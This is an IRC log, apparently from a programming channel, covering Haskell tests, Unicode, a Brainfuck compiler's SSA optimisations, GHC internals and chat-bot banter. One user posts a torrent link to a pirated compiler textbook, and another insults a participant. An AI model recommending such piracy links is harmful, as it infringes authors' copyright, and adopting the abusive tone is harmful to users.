20:49:23 <ehird> It's like testing for cool people that don't think up their own lame test data
20:49:34 <SimonRC> lambdabot: hey, you're here too!
20:49:48 <ehird> SimonRC: Yeah, I gave gwern sexual favors and in return e gave us lambdabot.
20:49:52 <Deewiant> @check \x -> let y = filter ((< 127).ord)) x in (lines . unlines) y == y
20:49:56 <ehird> *Story is not strictly historically accurate
20:49:59 <Deewiant> @check \x -> let y = filter ((< 127).ord) x in (lines . unlines) y == y
20:50:00 <lambdabot> Couldn't match expected type `[GHC.Types.Char]'
20:50:08 <Deewiant> @check \x -> let y = map (filter ((< 127).ord)) x in (lines . unlines) y == y
20:50:10 <lambdabot> "Falsifiable, after 441 tests:\n[\"\\1009600\\673308\\917019\\918751\\10136...
20:50:11 <ehird> SimonRC: spivak pronouns
20:50:22 <pikhq> SimonRC: Spivak gender-neutral.
20:50:34 <SimonRC> I guessed it was genter-neutral
20:50:52 <Deewiant> @check \x -> (all.all) ((< 127). ord) ==> (lines . unlines) x == x
20:50:59 <SimonRC> I have heard people say that English has perfetly good gender-neutral pronouns
20:50:59 <pikhq> comex: Autistic, actually.
20:51:02 <ehird> Although Spivak changed to ey and emself instead of e and eirself.
20:51:21 <Deewiant> @check \x -> not ((all.all) ((< 127). ord) x) || (lines . unlines) x == x
20:51:28 <Deewiant> @check \x -> not ((all.all) ((< 127). ord) x) || (lines . unlines) x == x
20:51:32 <ehird> 20:50 comex: aspers 20:50 pikhq: comex: Autistic, actually. -- is this meant to make sense?
20:51:32 <Deewiant> @check \x -> not ((all.all) ((< 127). ord) x) || (lines . unlines) x == x
20:51:36 <Deewiant> @smallcheck \x -> not ((all.all) ((< 127). ord) x) || (lines . unlines) x == x
20:51:40 <Deewiant> @scheck \x -> not ((all.all) ((< 127). ord) x) || (lines . unlines) x == x
20:51:49 -!- bsmntbombdood has joined.
20:51:50 <lambdabot> http://code.haskell.org/lambdabot/COMMANDS
20:52:04 <ehird> comex: Ooh, I remember you loling at me for typing badly on that shit keyboard.
20:52:05 <Deewiant> @scheck \x -> (lines . unlines) x == x
20:52:07 <lambdabot> "Falsifiable, after 464 tests:\n[\"\\879457\\149834\\895607\\903638\\981580...
20:52:11 <ehird> WHO'S HIM THE SUBJECT NOW
20:52:22 <ehird> Deewiant: I like how it double-escapes everything
20:52:52 <SimonRC> ehird: the message begins with a " for a reason
20:53:12 <ehird> SimonRC: it begins with a space, actually.
20:53:22 <ehird> > text "Actually, don't blame \"mueval\""
20:53:31 <ehird> I know it's a stirng.
20:53:34 <ehird> But that's STUUUUUUUUUUUUUUUUUUUUUUUUUUPID
20:53:38 <Deewiant> I blame the mueval plugin, it's the same thing.
20:53:44 <ehird> Deewiant: See "text".
20:53:58 <Deewiant> The plugin doesn't do it. It should.
20:54:17 <lambdabot> <no location info>: parse error on input `>'
20:56:14 -!- Judofyr has joined.
21:05:09 -!- asiekierka has quit.
21:05:43 -!- myndzi has quit (Read error: 113 (No route to host)).
21:08:41 -!- myndzi has joined.
21:09:36 -!- bsmntbombdood has quit (Success).
21:21:42 -!- labo has quit ("leaving").
21:31:08 <lambdabot> "\NUL\SOH\STX\ETX\EOT\ENQ\ACK\a\b\t\n\v\f\r\SO\SI\DLE\DC1\DC2\DC3\DC4\NAK\S...
21:31:13 -!- tombom has joined.
21:31:15 <ehird> > reverse ['\0'..]
21:31:17 <lambdabot> "\1114111\1114110\1114109\1114108\1114107\1114106\1114105\1114104\1114103\1...
21:31:18 -!- Judofyr_ has joined.
21:31:21 <ehird> pikhq: FEAR THE UNICODE.
21:32:23 <ehird> pikhq: Disclaimer: default IO methods don't do Unicode because they're crap, so use utf8-strings when it matters.
21:33:16 <pikhq> ... It makes Unicode require effort?
21:33:17 * coppro wants a language where the basic character type is a true unicode character
21:33:34 <pikhq> I may have to go back to Tcl, which has done Unicode for everything for 10 years.
21:33:58 <pikhq> Everything is a string, and all strings are Unicode.
21:33:59 <ehird> coppro: Uh, that's Haskell.
21:34:06 <ehird> Just import utf8-strings's modules.
21:34:11 <ehird> They act exactly like the regular IO.
21:34:15 <ehird> But they do UTF-8.
21:34:22 <ehird> And the actual "Char" type is Unicode, through and through.
21:34:23 <coppro> ehird: no. if it's a utf8-string, it's not a true unicode character
21:34:31 <coppro> I doubt Tcl has it either
21:34:31 <ehird> Char is a true unicode character.
21:34:32 <pikhq> Bu,but that is one line of code that shouldn't be there!
21:34:43 <SimonRC> coppro: if you like dynamic types, try factor, whose string are sequences specialised to one type (1-cell integers)
21:34:44 <coppro> ehird: including combining characters?
21:34:55 <ehird> > reverse ['\0'..]
21:34:57 <lambdabot> "\1114111\1114110\1114109\1114108\1114107\1114106\1114105\1114104\1114103\1...
21:34:58 <pikhq> Tcl uses an internal representation of UTF-16 for convenience.
21:34:59 <ehird> It is the full unicode character set.
21:35:02 <SimonRC> factor strings are just sequences of codepoints
21:35:05 <ehird> The default IO stuff just doesn't handle it.
21:35:08 <ehird> SimonRC: ditto w/ haskell
21:35:17 <ehird> pikhq: in ghc head SPJ added a new io system thing, btw, that does unicode
21:35:21 <ehird> so it'll be fixed in N time
21:35:34 <pikhq> ehird: Okay, then. Sanity shall preval.
21:35:35 <coppro> ehird: is Char one character or one code point
21:35:40 <ehird> coppro: code point.
21:35:51 <SimonRC> UTF-16 is a great anti-compromise... you can't make the assumtions that a 32-bit encoding allows, but it still takes up loads of space
21:36:04 <ehird> it fails in the sense that it's predictable and not kooky like using characters would b
21:36:08 <coppro> eh, 32-bit doesn't allow those assumptions either
21:36:12 <coppro> combining characters made sure of that
21:36:22 <SimonRC> coppro: um, one character can be a sequence of hundreds of codepoints
21:36:25 <ehird> characters aren't important
21:36:35 <SimonRC> and what *is* a character anyway?
21:36:35 <ehird> that's the reason they are code points
21:36:41 <ehird> a character is ill-defined
21:37:10 <SimonRC> coppro: so, you want a computer to do something you know is ill-defined?
21:37:15 <coppro> I'm sure that I could come up with an adequate definition
21:37:15 <SimonRC> as a basic part of the anguage
21:37:43 <SimonRC> well, one could have a language in which strings aren't sequences
21:37:54 <AnMaster> http://omploader.org/vMXZoMw <-- nice graph. Long live graphviz!
21:37:57 <ehird> coppro: it's not a useful definition though.
21:38:00 <SimonRC> strings can be divided into substrings, which can be of zero length, etc
21:38:11 <ehird> SimonRC: ehhhhhhhh
21:38:12 <AnMaster> red is IO, blue is "dummy to make everything go from start"
21:38:13 <ehird> that's just sublists
21:38:17 <SimonRC> and you can't index them, because that will eventually cause problems
21:38:21 <coppro> working with normalized uncomposed strings is the next-best thing
21:38:23 <AnMaster> (I forgot the fancy name for it)
21:38:23 <SimonRC> like python strings XTREME
21:38:57 <AnMaster> the plan is to convert this into some sort of SSA form next
21:39:11 <ehird> AnMaster: CPS bitch.
21:39:22 <ehird> AnMaster: CPS = SSA.
21:39:25 <ehird> They are equivalent.
21:39:33 <AnMaster> ehird, true. but SSA is simpler to think in
21:39:59 <AnMaster> at least when working on a imperative language
21:40:00 <SimonRC> AnMaster: what is that graph?
21:40:12 <AnMaster> SimonRC, dependency graph inside a basic block.
21:40:25 <AnMaster> +>,<[>]>[-]+++>++>[-]>,<<<[->++>+++>+<<<].>.>>>,.<<.>.>,[->+++<]>.
21:40:27 -!- Judofyr has quit (Nick collision from services.).
21:40:31 <ehird> AnMaster: no, they're equivalent
21:40:32 -!- Judofyr_ has changed nick to Judofyr.
21:40:37 <ehird> just a trivial syntactic transformation
21:40:53 <AnMaster> so that is in a separate graph
21:41:11 <SimonRC> you're taking this BF thing seriously
21:41:15 <AnMaster> currently I can't do any sort of loops or ifs inside graphs, but I plan to change that
21:41:22 <AnMaster> at least if should be possible
21:41:27 <SimonRC> does it go at a not-ridiculously-slow speed now?
21:42:04 <AnMaster> SimonRC, it takes about a minute to compile LostKing on my 2 GHz Sempron 3300+ running x86_64 code
21:42:26 <AnMaster> with HIPE you save maybe 10 seconds
21:42:42 <SimonRC> ah, the compiler is in Erlang?
21:42:43 <AnMaster> basically compiles stuff to native code instead of byte code
21:43:15 <AnMaster> SimonRC, and no, it isn't very optimised for fast compilation
21:43:20 <ehird> make it in bf instead.
21:43:23 <AnMaster> but rather, for best possible output
21:43:30 <SimonRC> is it a very thready compiler?
21:43:59 <SimonRC> is the output much faster?
21:44:00 <AnMaster> SimonRC, no, and since I have a single core, I can't really test where there may be gains from that.
21:44:12 <AnMaster> and yes, it is much faster than non-optimised C output
21:44:14 <SimonRC> and does it spot things that a human wouldn't?
21:44:28 <AnMaster> SimonRC, err what do you mean "<SimonRC> and does it spot things that a human wouldn't?"?
21:44:36 <ehird> exactly what he said
21:44:44 <SimonRC> does it optimise better than a human
21:44:49 <AnMaster> I would probably miss stuff in lostking if I tried to hand-compile to C
21:44:59 <SimonRC> (except when the human has figured out what the program does)
21:45:12 <AnMaster> SimonRC, I can see some cases it could do better.
21:45:19 <AnMaster> on the other hand it surprised me today
21:45:43 <AnMaster> SimonRC, "how could that while loop turn into that much shorter if?, Doesn't make sense, must be yet another bug"
21:45:50 <AnMaster> but it turned out it was right
21:47:38 <AnMaster> that is a diff between "what it produced before, what it produced after"
21:47:46 <ehird> that diff format is really useless for comparison.
21:48:03 <AnMaster> ehird, I can read it just fine
21:48:14 <AnMaster> so you see some bits in red and other in blue
21:48:27 <AnMaster> colordiff is a very very very nice tool
21:49:05 <ehird> but the two things aren't semantically related
21:49:15 <ehird> matching lines are purely coincidental, it's not a patch to what it says
21:49:19 <ehird> it's a fundamental restructuring
21:49:29 <AnMaster> but that is what a single code change did
21:49:34 <AnMaster> the thing that caused that diff was adding graph-based DCE
21:49:43 <ehird> pointless talking to someone so literally minded
21:49:45 <AnMaster> so it can see "if this is never used, remove it"
21:49:54 <AnMaster> and that was the bit that surprised me
21:50:03 <AnMaster> ehird, I have no idea how else to show this
21:50:10 <AnMaster> since it is near the middle of listking
21:51:31 <AnMaster> SimonRC, so yes, I guess it sometimes spot stuff humans wouldn't
21:51:40 <AnMaster> but sometimes it is extremely dumb
21:51:50 <ehird> side-by-side is the best way to compare two fundamentally different statings of the same thing
21:51:59 <ehird> not a diff that happens to match up some lines in them
21:52:16 <AnMaster> ehird, so convert it. I don't know how to generate a side by side diff using diff(1)
21:52:32 <ehird> AnMaster: ... if it's side by side it's not a diff
21:52:36 <ehird> it's just the two pieces of code side by side
21:52:48 <AnMaster> so just undiff it,. Easy enough from that code
21:53:12 <AnMaster> take one containing those line starting with space or minus, another those lines starting with space or plus
21:53:29 <ehird> i was merely questioning the efficacy of distributing it in a less-suitable format
21:53:40 <AnMaster> SimonRC, example of it not so smart: p[1]=~p[8];\np[8]=p[1];\np[1]=0;
21:53:46 <AnMaster> though it handles that one now too
21:54:10 <AnMaster> but I still see "stupid" stuff.
21:54:14 <AnMaster> ehird, I didn't have a problem with it
21:54:18 <ehird> i thought generally just 0→1,1→0 was coded
21:54:21 <SimonRC> BTW, the last two lines of what you shoed me can be moved out of the if
21:54:40 <AnMaster> ehird, no, that is the C backend seeing y=-1-x and peepholeing it into y=~x
21:54:45 <ehird> moving outside of a conditional ain't gonna help performance
21:54:49 <ehird> it just makes you execute more stuff...
21:55:05 <SimonRC> but it might help other optimisations
21:55:07 <ehird> AnMaster: any C compiler that can't do that is really rubbish
21:55:15 <SimonRC> and p[113] must have been a hell of a lot of >>>> <<<<
21:55:29 <AnMaster> SimonRC, um, other optimisations know very well that p[0]=0; after already.
21:55:46 <Deewiant> http://pastebin.ca/1471637 separated
21:56:10 <AnMaster> they know that because for loops the loop doesn't exit if index cell != 0; or for if because they ask the introspection code about it.
21:56:35 <ehird> Deewiant: you are like unto a flower.
21:57:03 <ehird> that's just in the other one
21:57:09 <AnMaster> SimonRC, worth investigating if it will help or not.
21:57:34 <ehird> i'm not sure why you're so surprised that it optimized it :p
21:57:38 <AnMaster> ehird, I don't use negative numbers.
21:58:06 <Deewiant> If it were 256 it'd be an infinite loop anyways, not an if.
21:58:46 <AnMaster> p[113]+=p[0]; is easy to explain. Once that loop was simplified enough to not have deps on cells written in the previous iteration, it was turned into a set of polynomials inside an if
21:59:04 <AnMaster> the if was required due to the sets there
21:59:17 <SimonRC> what does "polynomials" mean here?
21:59:29 <ehird> SimonRC: what it normally does
21:59:37 <ehird> In mathematics, a polynomial is a finite length expression constructed from variables (also known as indeterminates) and constants, using the operations of addition, subtraction, multiplication, and constant non-negative whole number exponents.
21:59:44 <AnMaster> SimonRC, [{Coeff,[{Offset,Exponent},...]},...]
21:59:51 <ehird> although really, it's just used to mean "a bunch of mathematical relationships on variables" in the bf compiler world.
22:00:05 <AnMaster> ehird, in this case it is actually stored as a polynomial
22:00:13 <ehird> AnMaster: well that's pointless.
22:00:17 <AnMaster> ehird, it is a lot easier to simplify
22:00:39 <SimonRC> AnMaster: might it be a good optimisation to keep bit vectos of what values each singly-assigne variable could have at each point?
22:01:06 <AnMaster> ehird, I tried writing generic expression manipulation code. Ended up with some 500 lines, and that didn't properly simplify all cases. The polynomial code is less than 300 lines, including the "visitor pattern" code used by the backend(s)
22:01:39 <AnMaster> SimonRC, it might. But that graph I showed isn't yet in SSA form. I planned to work on that bit tomorrow
22:02:00 <AnMaster> the graph also currently contains ordering info and lots more (though that wasn't dumped to the dot file)
22:02:20 <AnMaster> however, I learnt a lot during making this
22:02:38 <AnMaster> I even made a simple DCE/single-use-propagator pass on the graph to test it.
22:02:55 <AnMaster> still needs to be turned into proper SSA form though
22:04:08 <AnMaster> SimonRC, with no edges excluded it looks like this currently: http://omploader.org/vMXZoOA
22:04:25 <AnMaster> dotted is "order", green is, um, complex to explain.
22:04:42 <AnMaster> "definition overwritten, but not read"
22:04:48 <AnMaster> would be the best way to explain it.
22:06:03 <AnMaster> a lot messier, but at least the ordering info is needed atm, will not be needed once it is turned into SSA form.
22:06:46 <AnMaster> (and the other one was added for debugging)
22:06:46 <SimonRC> SSA can reach "round" loops, right?
22:07:25 <AnMaster> SimonRC, err, how? I figured out "if" easily enough. And yes I guess if variable isn't changed inside the loop it can reach round it
22:07:39 <AnMaster> you can't handle unbalanced BF loops though
22:08:05 <AnMaster> SimonRC, but I don't know how to handle something like ,[.,] in SSA
22:08:38 <SimonRC> I think compiler books cover that sort of thing too
22:08:41 <AnMaster> if is "trivial", just some phi nodes
22:09:10 <SimonRC> you could get the Dragon Book
22:09:23 <SimonRC> that covers lots of front-end stuff too though
22:09:32 <ehird> AnMaster: just buy the damn thing
22:09:43 <ehird> although personally I think you should instead opt for
22:09:44 <AnMaster> ehird, don't like dead paper edition
22:09:49 <ehird> .............. wait for it
22:09:56 <ehird> AnMaster: buy a kindle :P
22:10:08 <AnMaster> ehird, I read SICP, but I don't remember SSA form there?
22:10:50 <ehird> http://thepiratebay.org/torrent/3635514/Compilers_-_Principles__Techniques_and_Tools_(First_Edition__198
22:11:14 <AnMaster> ehird, that would hurt to read
22:11:24 <ehird> AnMaster: ,[.,] in SSA? how is that hard?
22:11:33 <AnMaster> ehird, describe how it is done then
22:11:45 <ehird> http://en.wikipedia.org/wiki/Static_single_assignment_form
22:13:57 <AnMaster> ehird, that doesn't describe loops...
22:14:46 <AnMaster> ehird, so try again, if you plan to link, please link something relevant.
22:19:41 -!- ehurd has quit (Read error: 110 (Connection timed out)).
22:28:57 -!- Gracenotes has quit (Read error: 60 (Operation timed out)).
22:29:08 <AnMaster> ehird, suite yourself, ignore it.
22:30:09 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
22:31:22 <AnMaster> tombom, isn't that the right English phrase?
22:31:37 <tombom> suite means something different
22:31:52 <AnMaster> tombom, what does the suit one mean?
22:32:09 -!- Judofyr has quit (Remote closed the connection).
22:32:32 * AnMaster probably never noticed the difference between suit and suite
22:33:06 <GregorR> A suite is a deluxe accommodation.
22:33:20 <GregorR> Or, what somebody has decided to pretend is deluxe, anyway :P
22:33:39 <GregorR> e.g. At a hotel, the honeymoon suite is the best room, and the other suites are nearly as good, and the other rooms suck as compared to the suites.
22:33:45 <tombom> or a collection of things
22:34:03 <GregorR> That too, but it sounded more like my meaning on context :P
22:34:08 <GregorR> And also, it's not a sofa.
22:34:24 <GregorR> `addquote <SimonRC> TODO: sex life
22:34:25 <HackEgo> 11|<SimonRC> TODO: sex life
22:34:42 -!- tombom has quit ("Peace and Protection 4.22.2").
22:36:17 <ehird> 22:34 SimonRC: TODO: sex life ← WONTFIX
22:38:14 <GregorR> Are you ... SUUUUUUUUUUUURE
22:39:39 <pikhq> You wanna have fun?
22:40:00 <AnMaster> <ehird> AnMaster: ,[.,] in SSA? how is that hard?
22:40:01 <AnMaster> <AnMaster> ehird, describe how it is done then
22:40:01 <AnMaster> <ehird> http://en.wikipedia.org/wiki/Static_single_assignment_form
22:40:01 <AnMaster> <AnMaster> ehird, that doesn't describe loops...
22:40:10 <pikhq> I eventually got a stack overflow! Yay!
22:40:22 <ehird> AnMaster: no, i just don't feel like helping you
22:41:36 <ehird> pikhq: please clarify for the young gentlemen AnMaster here that I have no interest in helping dickwads, assholes, idiots or any other such uncouth persons and it is strictly personal, not a matter of lack of success
22:41:38 <AnMaster> ehird, I asked ais and he said he didn't know, but that "generally you break SSA for loops slightly"
22:41:40 <ehird> there's a good boy
22:41:53 <AnMaster> so I guess you don't know either
22:42:07 <ehird> right. because knowledge(ehird) strictly-subset-of knowledge(ais523).
22:42:28 <AnMaster> ehird, no it isn't, but the way you act...
22:42:47 <pikhq> AnMaster: I think what he means to say is "main = print [0..]".
22:42:50 <ehird> that's because i like irritating you, AnMaster.
22:43:08 <ehird> pikhq: Fun fact: ghc has an oracle. Try running "main = main".
22:43:12 <pikhq> And stick that in a file.
22:43:14 <AnMaster> pikhq, not sure what you mean with that though.
22:43:23 <AnMaster> pikhq, since I don't know haskell
22:43:48 <pikhq> AnMaster: That would be all positive integers.
22:44:28 <pikhq> But whaddya mean, an oracle?
22:44:47 <AnMaster> so you mean Vx = phi(V0,...Vn) basically?
22:44:54 <pikhq> It certainly isn't an oracle machine, and this sure as fuck ain't halting.
22:45:03 <pikhq> AnMaster: Yes. Except that you should stick it in a file.
22:45:03 <ehird> Oh, lambdabot doesn't do IO.
22:45:06 <lambdabot> [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,...
22:45:21 <ehird> [ehird:~/Junk] % echo 'main=main'>foo.hs;ghc foo.hs -o foo;./foo
22:45:28 <ehird> you tell me that isn't the work of a halting oracle!
22:46:02 <pikhq> Has different behavior with runhaskell.
22:46:35 <AnMaster> pikhq, infinite lists == blergh if language doesn't support it.
22:47:36 * pikhq looks at ghc's C output...
22:47:43 <AnMaster> pikhq, plus I have a DAG here...
22:48:35 <AnMaster> guess I need cycles for SSA form then
22:49:13 <ehird> pikhq: don't use -fvia-C
22:49:25 <ehird> the native code generator is as good most of the time and sometimes better :P
22:49:40 <ehird> pikhq: oh, did you know? GHC, after compiling the C code, then runs the asm through a perl script that changes calls into jumps.
22:50:05 <ehird> pikhq: Also, this script is "literate perl", which is a one-off format designed just for ghc that basically reverses comments/code (so that code is prefixed instead of comments).
22:50:19 <ehird> It is "compiled" (trivially translated) to perl in the compilation process.
22:50:24 <ehird> pikhq: 's called the Evil Mangler. :)
22:50:28 <pikhq> ... Because it doesn't need the stack at all. LMAO
22:50:48 <pikhq> That is beautiful. Epic hack, though.
22:51:50 <pikhq> Redundancy is redundant.
22:52:09 <olsner> there's also the Satanic Splitter, which is another revered/feared perl script
22:52:23 <olsner> also some assembly post-processing iirc
22:52:41 <ehird> i haven't heard of the Satanic Splitter before now
22:52:49 <ehird> olsner: the mangler is the asm post-processing
22:53:00 <olsner> http://markmail.org/message/blmoqkkooqezr3p4
22:53:04 <pikhq> Where can I find this evil Perl?
22:53:20 <ehird> pikhq: ghc_source_tree
22:53:42 <ehird> pikhq: $prefix/local/lib/ghc-version/ghc-asm
22:53:44 <ehird> if you don't need the comments.
22:54:06 <AnMaster> ehird, why this literate perl. I mean, *why*
22:54:10 <ehird> last procedure is "tidy_up_and_die"
22:54:17 <ehird> AnMaster: because the mangler needs a lot of explaining
22:54:44 <AnMaster> the bit that reversed it to normal perl probably needs a bit of explaining too I imagine!
22:54:53 <olsner> this looks like some kind of reference: http://hackage.haskell.org/trac/ghc/wiki/Commentary/EvilMangler
22:54:54 <ehird> pikhq: http://darcs.haskell.org/ghc/driver/mangler/ghc-asm.lprl
22:54:56 <ehird> the literate version
22:55:48 <pikhq> And, of course, it's commented via TeX.
22:56:33 <pikhq> Makes sense, given that TeX is the ultimate example of a literate program. :P
22:56:42 <ehird> have you ever read the original one?
22:56:46 <ehird> god, that pascal is _awful_
22:57:04 <AnMaster> olsner, what is the splitter used for really
22:57:50 <AnMaster> ehird, I have not read it, but I have glanced at it.
22:58:01 <ehird> i was talking to pikhq..
22:58:02 <olsner> I think I'm remembering what it does now... it splits up object files to allow static linking to throw away more of the unused parts of the static library
22:58:04 <AnMaster> ehird, "things" == object files?
22:58:24 <ehird> unsuspecting victims that can say SplitObjs=NO at any time, but when
22:58:25 <ehird> they do, it punishes them with multi-megabyte executables"
23:03:18 <AnMaster> ehird, so what does it split out of the object files?
23:04:20 <olsner> it's doing something similar to --gc-sections and --function-sections (don't remember the precise placing of the hyphens, but something like that it is), only manually
23:06:20 <AnMaster> you mean ld's "--gc-sections"?
23:06:44 <AnMaster> --function-sections isn't ld at least
23:07:04 <AnMaster> olsner, simplest way is one object file / function
23:08:07 <olsner> yes, I think that's what the splitter makes it
23:16:46 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:24:36 -!- jix_ has joined.
23:36:40 -!- jix has quit (Read error: 113 (No route to host)).
23:37:54 -!- coppro has changed nick to ze23||||||-.
23:38:48 -!- ze23||||||- has changed nick to ze23}{||||||-.
23:40:10 -!- ze23}{||||||- has changed nick to coppro.
23:42:22 -!- BeholdMyGlory has quit (Remote closed the connection).
23:48:15 -!- coppro has changed nick to IgnisCaelum.
23:48:19 -!- IgnisCaelum has changed nick to coppro.
23:50:57 -!- GreaseMonkey has joined.
00:10:12 <ehird> a whatever wedged inside them
00:12:42 <lament> on my screen the whatever is last
00:13:37 <lambdabot> i'm the type of girl that finds Don Knotts very sexy
00:13:49 <lament> @vixen haskell haskell haskell haskell haskell haskell haskell haskell
00:13:49 <lambdabot> church is my favourite computer scientist.
00:14:04 <ehird> @. vixen . vixen . vixen . vixen vixen Hurr recursion
00:14:25 <lament> @. vixen . vixen . vixen . vixen vixen hi
00:14:29 <lament> @. vixen . vixen . vixen . vixen vixen hi
00:14:35 <lament> @. vixen . vixen . vixen vixen hi
00:14:39 <lament> @. vixen . vixen vixen hi
00:14:40 <lambdabot> So, tell me your biggest and darkest secret. Something that no one knows of you.
00:14:49 <ehird> lament: why don't you marry @vixen?
00:15:13 <lament> @vixen why don't you marry ehird?
00:15:39 -!- inurinternet has quit (No route to host).
00:27:34 <AnMaster> is @vixen some alice bot or such?
00:27:55 <ehird> AnMaster: it's the source to some cybering bot designed for yuks
00:28:45 <lament> @vixen what are you doing tonight?
00:28:52 <lament> @vixen wanna go to the movies instead?
00:28:53 <lambdabot> i'll hafta plead the fifth on that one.
00:28:53 <ehird> http://code.haskell.org/lambdabot/Plugin/Vixen.hs
00:29:05 <ehird> AnMaster: it's a copy
00:29:29 <ehird> Wonder what this does.
00:29:47 <ehird> AnMaster: also http://code.haskell.org/lambdabot/State/vixen.
00:30:25 <AnMaster> ehird, that opens in khexedit?
00:30:33 <ehird> It has non-ASCII values.
00:30:51 <ehird> The match/reply set for @vixen.
00:30:57 <ehird> Mostly human readable.
00:31:06 <ehird> AnMaster: Because it's the state for the vixen plugin.
00:31:21 <ehird> http://code.haskell.org/lambdabot/State/
00:31:22 <AnMaster> ehird, seems more like read only data than state to me
00:31:41 <ehird> shrug; see http://code.haskell.org/lambdabot/Plugin/Vixen.hs
00:35:58 <lament> @vixen do you speak Chinese?
00:36:14 <lament> @vixen do you play the violin?
00:36:18 <lament> @vixen do you play the trombone?
00:36:22 <lament> @vixen do you play the flute?
00:36:24 <lament> @vixen do you play the piano?
00:36:29 <lament> @vixen do you play the harpsichord?
00:36:32 <lament> @vixen do you play the bassoon?
00:36:38 <lament> @vixen do you play the triangle?
00:36:44 <lament> @vixen do you play the tuba?
00:36:48 <lament> @vixen do you play the guitar?
00:36:55 <lament> @vixen do you play the saxophone?
00:38:40 -!- Gracenotes has joined.
00:45:49 <ehird> lambdabot is now an acquaintance of ours.
00:47:09 <ehird> @vixen that is fortunate
00:47:18 <ehird> e only likes us 'cuz we're amusing.
00:53:18 <lament> @vixen sexy or sexy bitch?
00:53:29 <lament> @vixen sexy or sexy bitch?
00:53:30 <lambdabot> sexy is such an over used word. be more descriptive
00:53:32 <lament> @vixen sexy or sexy bitch?
00:53:34 <lament> @vixen sexy or sexy bitch?
00:53:35 <lambdabot> sexy is such an over used word. be more descriptive
00:53:45 <Warrigal> @. vixen vixen hey there, sexy
00:54:08 <lament> @vixen hey there, sexy bitch
00:54:32 <lament> @vixen David slowed his pace slightly as his ears,
00:54:32 <lambdabot> Wouldn't it be funny if I really was a super model?
00:54:37 <lament> @vixen David slowed his pace slightly as his ears,
00:54:39 <lament> @vixen David slowed his pace slightly as his ears,
00:54:41 <lament> @vixen David slowed his pace slightly as his ears,
00:54:42 <lament> @vixen David slowed his pace slightly as his ears,
00:54:44 <lament> @vixen David slowed his pace slightly as his ears,
00:56:34 <lambdabot> So this is what it feels like to be potato salad
01:03:00 -!- ehird has changed nick to ehird}.
01:03:01 -!- ehird} has changed nick to ehird.
01:14:15 <ehird> pikhq: never read this Haskell I'm writing, it's such a quick hack
01:14:35 <ehird> well ok it isn't that bad
01:14:55 <lambdabot> tomasz says: After all, return is only a fancy name for liftM0 :-)
01:15:51 * pikhq is thinking about Pi.
01:16:58 -!- Mathematica has joined.
01:17:21 -!- Mathematica has quit (Remote closed the connection).
01:17:34 -!- Mathematica has joined.
01:18:05 -!- Mathematica has quit (Remote closed the connection).
01:18:45 -!- Mathematica has joined.
01:19:02 -!- Mathematica has quit (Remote closed the connection).
01:19:16 -!- Mathematica has joined.
01:19:30 <ehird> ["leguin.freenode.net","401","Mathematica","#esoteric","Mathematica :No such nick/channel"]
01:19:30 <ehird> ["leguin.freenode.net","421","Mathematica","Copyright","Unknown command"]
01:19:32 <ehird> ["leguin.freenode.net","421","Mathematica","In[1]","= :Unknown command"]
01:19:34 <ehird> ["leguin.freenode.net","421","Mathematica","Out[1]=","Unknown command"]
01:19:36 <ehird> ["leguin.freenode.net","421","Mathematica","In[2]","= :Unknown command"]
01:20:19 -!- Mathematica has quit (Remote closed the connection).
01:20:45 -!- Mathematica has joined.
01:20:56 * ehird drums fingers on table.
01:21:06 -!- Mathematica has quit (Remote closed the connection).
01:21:19 -!- Mathematica has joined.
01:21:46 -!- Mathematica has quit (Remote closed the connection).
01:22:08 -!- Mathematica has joined.
01:22:24 -!- Mathematica has quit (Remote closed the connection).
01:22:35 -!- Mathematica has joined.
01:22:46 <ehird> ["leguin.freenode.net","401","Mathematica","#esoteric","Mathematica :No such nick/channel"]
01:22:57 <ehird> hPutStrLn h ("PRIVMSG " ++ channel ++ ":" ++ res')
01:23:07 <lament> @vixen I just need my space!
01:23:08 <lambdabot> what's worth more a flush or a full house?
01:23:08 -!- Mathematica has quit (Remote closed the connection).
01:23:21 -!- Mathematica has joined.
01:23:25 <Mathematica> Mathematica 7.0 for Mac OS X x86 (64-bit) Copyright 1988-2008 Wolfram Research, Inc. In[1]:= Out[1]= 4 In[2]:=
01:23:33 <ehird> Mathematica: Range[1000]
01:23:33 <Mathematica> Mathematica 7.0 for Mac OS X x86 (64-bit) Copyright 1988-2008 Wolfram Research, Inc. In[1]:= Out[1]= {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, > 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, > 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 4...
01:23:49 <ehird> TODO: Fix the formatting, make it give long shit somehow.
01:23:59 <ehird> Mathematica: PrimeQ /@ Range[10]
01:23:59 <Mathematica> Mathematica 7.0 for Mac OS X x86 (64-bit) Copyright 1988-2008 Wolfram Research, Inc. In[1]:= Out[1]= {False, True, True, False, True, False, True, False, False, False} In[2]:=
01:24:12 <ehird> Mathematica: Sum[(PrimeQ /@ Range[10])[[i]], {i, 10}]
01:24:13 <Mathematica> Mathematica 7.0 for Mac OS X x86 (64-bit) Copyright 1988-2008 Wolfram Research, Inc. In[1]:= Out[1]= 6 False + 4 True In[2]:=
01:25:08 <ehird> Mathematica: Table[PrimeQ, 10]
01:25:09 <Mathematica> Mathematica 7.0 for Mac OS X x86 (64-bit) Copyright 1988-2008 Wolfram Research, Inc. In[1]:= Table::itform: Argument 10 at position 2 does not have the correct form for an iterator. Out[1]= Table[PrimeQ, 10] In[2]:=
01:25:19 <Mathematica> Mathematica 7.0 for Mac OS X x86 (64-bit) Copyright 1988-2008 Wolfram Research, Inc. In[1]:= 1 Power::infy: Infinite expression - encountered. 0 Out[1]= ComplexInfinity In[2]:=
01:25:48 <ehird> Hey guys, I forgot to chroot it. Don't fuck things up. :P
01:25:51 -!- Mathematica has quit (Remote closed the connection).
01:25:59 <ehird> I got you all excited.
01:39:43 * pikhq wants to make a function for corecursing the digits...
01:41:04 <Warrigal> Corecursing? Is that like folding or unfolding?
01:41:14 <ehird> pikhq: Wait, you know what corecursion is already? Fuck, I haven't worked that out yet! :-P
01:41:32 <ehird> It's just infinite data structures. Sort of.
01:41:41 <ehird> http://en.wikipedia.org/wiki/Corecursion
01:41:50 <ehird> pikhq: digits of what, anyway?
